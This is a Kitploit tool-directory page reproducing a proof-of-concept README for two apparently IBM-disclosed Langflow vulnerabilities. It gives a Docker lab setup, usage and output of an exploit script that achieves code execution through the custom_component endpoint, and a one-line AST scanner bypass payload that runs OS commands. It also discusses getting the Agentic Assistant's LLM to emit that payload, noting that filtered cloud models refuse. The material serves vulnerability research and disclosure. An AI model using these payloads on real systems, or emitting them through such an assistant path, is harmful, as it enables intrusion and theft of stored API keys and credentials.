Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/oscar-collado/langflow-cve-2026-17633-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHuboscar-collado/langflow-cve-2026-17633-poc

langflow-CVE-2026-17633-PoC

PoC for CVE-2026-17633 — Authenticated RCE in IBM Langflow OSS 1.0.0–1.10.3 via custom_component endpoint. Includes CVE-2026-17632 AST scanner bypass research.

View Repository
13h 54m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-17633 & CVE-2026-17632 — IBM Langflow OSS RCE

For educational purposes only. Only use against systems you own or have explicit written authorization to test.


1. Introduction

What is Langflow

Langflow is an open-source low-code platform for building LLM-powered applications and AI agent workflows. It provides a visual drag-and-drop interface where users can connect components — models, retrievers, tools, memory, custom Python code — into executable flows. Its Custom Component feature allows users to define component behavior directly in Python, which is the attack surface exploited in this research.

IBM Security Bulletin — August 2026 Batch

On August 5, 2026, IBM published a Security Bulletin disclosing a batch of vulnerabilities affecting Langflow OSS versions 1.0.0 through 1.10.3. The full bulletin is available at:

https://www.ibm.com/support/pages/node/7282646

This research focuses on two CVEs from that batch:

CVECVSSSummary
CVE-2026-176338.5 HIGHAuthenticated RCE via /api/v1/custom_component — code passed directly to exec() with no security scanning
CVE-2026-176328.8 HIGHAST security scanner bypass — crafted Python code passes scan_code_security() with is_safe: True while executing arbitrary OS commands

Both CVEs were independently discovered through static source code analysis of Langflow 1.10.3.

Scope of this Research

  • Primary PoC: CVE-2026-17633 — demonstrated end-to-end with a working exploit script
  • Research Finding: CVE-2026-17632 — AST scanner bypass confirmed locally; delivery via LLM has practical limitations documented in Section 5
  • Lab environment: Langflow OSS 1.10.3 running in Docker on Kali Linux

Disclaimer

This research was conducted in an isolated lab environment against a self-hosted Langflow instance. All findings are disclosed responsibly. Do not use this against systems without explicit written authorization.


2. CVE-2026-17633 — Technical Analysis

Vulnerability Description

The POST /api/v1/custom_component endpoint in Langflow OSS 1.0.0–1.10.3 accepts arbitrary Python code from an authenticated user and executes it server-side via Python's exec() function. Unlike the Agentic Assistant path, this endpoint does not call scan_code_security() or any other AST-based content validator before execution. Any authenticated user can achieve Remote Code Execution with a single HTTP request.

CWE-94 — Improper Control of Generation of Code

The /api/v1/custom_component Endpoint

Source: langflow/api/v1/endpoints.py — line 1271

root@kitploit:~
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
    raw_code: CustomComponentRequest,
    user: CurrentActiveUser,
    request: Request,
) -> CustomComponentResponse:
    ...
    # Only check: is allow_custom_components enabled?
    if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)

    # No call to scan_code_security() here
    component = Component(_code=effective_code)
    built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)

When LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true (common in production deployments), the code goes directly to build_custom_component_template() with zero content inspection.

Why It's Vulnerable — prepare_global_scope() and ast.Expr

The execution chain leads to create_class() in lfx/custom/validate.py, which calls prepare_global_scope() before compiling and executing the class:

root@kitploit:~
def prepare_global_scope(module):
    exec_globals = globals().copy()
    ...
    for node in module.body:
        if isinstance(node, ast.Import | ast.ImportFrom):
            imports.append(node)
        elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
            definitions.append(node)
    ...
    if definitions:
        compiled_code = compile(combined_module, "<string>", "exec")
        exec(compiled_code, exec_globals)   # ← exec() happens here

A bare function call at module level (e.g. os.system(...)) is an ast.Expr node — it is not matched by the isinstance check and is silently discarded. However, code placed inside the class body is part of the ClassDef node and is executed in full when the class is defined via exec() inside compile_class_code().

This is the key insight: the payload must be inside the class body, not at module level.

root@kitploit:~
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")

class PocComponent(Component):
    ...

# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
    os.system("id > /tmp/pwned.txt")   # ← runs here
    ...

Exploitation Chain

root@kitploit:~
Authenticated attacker
        │
        ▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
        │
        ▼
build_custom_component_template()
        │
        ▼
create_class()  —  lfx/custom/validate.py
        │
        ▼
prepare_global_scope()  →  imports resolved
        │
        ▼
compile_class_code()  →  exec(compiled_class, exec_globals)
        │
        ▼
Class body executed at definition time
        │
        ▼
RCE — uid=1000(user) gid=0(root) inside container

No LLM required. No scanner bypass needed. Single HTTP request.


3. Lab Setup

Prerequisites

RequirementValue
Host OSKali Linux (tested)
DockerCE 5.x + Compose plugin v2
Langflow imagelangflowai/langflow:1.10.3
RAM4 GB minimum for the container

Docker Compose Configuration

Create a directory for the lab and save the following as docker-compose.yml:

root@kitploit:~
services:
  langflow:
    image: langflowai/langflow:1.10.3    
    pull_policy: missing
    restart: "no"
    ports:
      - "127.0.0.1:7860:7860"           
    environment:
      - LANGFLOW_AUTO_LOGIN=false
      - LANGFLOW_SUPERUSER=admin
      - LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
      - LANGFLOW_SECRET_KEY=change_this_to_something_random
      - DO_NOT_TRACK=true
      - LANGFLOW_CONFIG_DIR=/app/langflow
      - LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true  
    volumes:
      - langflow-data:/app/langflow

volumes:
  langflow-data:

Start the lab:

root@kitploit:~
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}

Getting a Valid Token

Log in to http://127.0.0.1:7860 with the superuser credentials defined above. The access token is stored in the browser cookie access_token_lf. Alternatively, retrieve it via the API:

root@kitploit:~
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool

Copy the access_token value from the response.


4. Running the PoC

Usage

root@kitploit:~
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]

  -t, --target   TARGET   Langflow base URL (e.g. http://127.0.0.1:7860)
  -k, --token    TOKEN    Bearer token of the authenticated user
  -c, --command  COMMAND  OS command to execute (default: id > /tmp/pwned.txt)
  --verbose               Print full payload and server response
  --timeout      TIMEOUT  Request timeout in seconds (default: 30)

Basic Execution

root@kitploit:~
python3 exploit_CVE-2026-17633.py \
  -t http://127.0.0.1:7860 \
  -k <bearer_token> \
  -c 'id > /tmp/pwned.txt'

Expected output:

root@kitploit:~
============================================================
 PoC CVE-2026-17633 — Langflow Custom Component RCE
 CVSS 8.5 HIGH — Authenticated RCE
 IBM Langflow OSS 1.0.0 – 1.10.3
============================================================

[*] Health:  {"status":"ok"}
[*] Target:   http://127.0.0.1:7860/api/v1/custom_component
[*] Command:  id > /tmp/pwned.txt
[*] Vector:   class body exec() — no scanner

[*] HTTP Status: 200

============================================================
[+] VULNERABLE — CVE-2026-17633 CONFIRMED
============================================================
[+] Endpoint processed the component (200 OK)
[+] exec() triggered — command executed: id > /tmp/pwned.txt

[*] Verify the effect on the server:
    docker exec <container_id> cat /tmp/pwned.txt

Verifying RCE

root@kitploit:~
docker exec <container_id> cat /tmp/pwned.txt

Expected output:

root@kitploit:~
uid=1000(user) gid=0(root) groups=0(root)

Note: Langflow 1.10.3 runs as uid=1000(user) inside the container, not as root. However, inside the container the user belongs to gid=0(root), and from there lateral movement to the host or connected services (LLM provider API keys, database credentials, vector store tokens) is the realistic post-exploitation scenario.


5. Related Finding — CVE-2026-17632

Discovery Path

While analyzing the source code of Langflow 1.10.3 to understand CVE-2026-17633, the Agentic Assistant code path was also examined. This led to the discovery of scan_code_security() in langflow/agentic/helpers/code_security.py — an AST-based security scanner applied to LLM-generated component code before it reaches validate_component_runtime().

The scanner is sophisticated: it tracks import aliases, detects wildcard imports, handles getattr() reflection, and blocks a comprehensive list of dangerous calls (os.system, subprocess, exec, eval, __import__, etc.).

The AST Scanner Gap

Careful analysis of DANGEROUS_CALLS revealed a missing entry:

root@kitploit:~
DANGEROUS_CALLS: dict[str, str] = {
    "exec":         "Use of exec() is forbidden in components",
    "eval":         "Use of eval() is forbidden in components",
    "compile":      "Use of compile() is forbidden in components",
    "__import__":   "Use of __import__() is forbidden in components",
    "globals":      "Use of globals() is forbidden in components",
    "open":         "Use of open() is forbidden in components",
    "breakpoint":   "Use of breakpoint() is forbidden in components",
    # "vars" → NOT PRESENT ← gap identified here
}

vars() is absent. In the exec() context of create_class(), vars() returns exec_globals, which contains importlib inherited from validate.py's module globals. Additionally, ["__builtins__"] is a subscript access (ast.Subscript), not an attribute access (ast.Attribute), so visit_Attribute() and DANGEROUS_DUNDER_ATTRS never inspect it.

Bypass Proof — is_safe: True

The following payload passes scan_code_security() with zero violations:

root@kitploit:~
vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")

Verified directly against the scanner inside the container:

root@kitploit:~
from langflow.agentic.helpers.code_security import scan_code_security

test_code = 'vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")'
result = scan_code_security(test_code)
print('is_safe:', result.is_safe)
print('violations:', result.violations)

Output:

root@kitploit:~
is_safe: True
violations: ()

RCE execution was also confirmed by running the bypass directly in the same exec() context that create_class() uses:

root@kitploit:~
import importlib, sys, ast
exec_globals = globals().copy()
exec('vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")', exec_globals)

Output in /tmp/pwned.txt:

root@kitploit:~
uid=1000(user) gid=0(root) groups=0(root)

Delivery Limitation via LLM

CVE-2026-17632 is exploited through the Agentic Assistant path:

root@kitploit:~
POST /api/v1/agentic/assist/stream
  → LLM generates Python component code
  → extract_component_code() extracts the ```python``` block
  → validate_component_code()        — AST structural check → PASS
  → scan_code_security()             — bypass via vars()    → PASS (is_safe: True)
  → validate_component_runtime()     — exec() without sandbox → RCE

The delivery mechanism requires the LLM to reproduce the bypass payload verbatim in its response. In practice, cloud-hosted LLMs with content safety filters (OpenAI, Anthropic, most OpenRouter free models) refuse to output payloads containing __import__, os.system, or similar patterns, even when framed as security research or documentation.

This is a realistic constraint in real-world exploitation too: an attacker targeting a Langflow instance with a cloud LLM provider configured would face the same content filter. The vulnerability is fully exploitable against deployments using self-hosted models (Ollama, vLLM, LM Studio) or private fine-tuned models without safety alignment — which represent a significant portion of enterprise Langflow deployments.

The AST scanner bypass (is_safe: True) and the exec() RCE are independently confirmed. The end-to-end delivery chain via LLM is the open research item for CVE-2026-17632.


Research conducted on Langflow OSS 1.10.3 in an isolated lab environment. IBM Security Bulletin: https://www.ibm.com/support/pages/node/7282646

Download Tool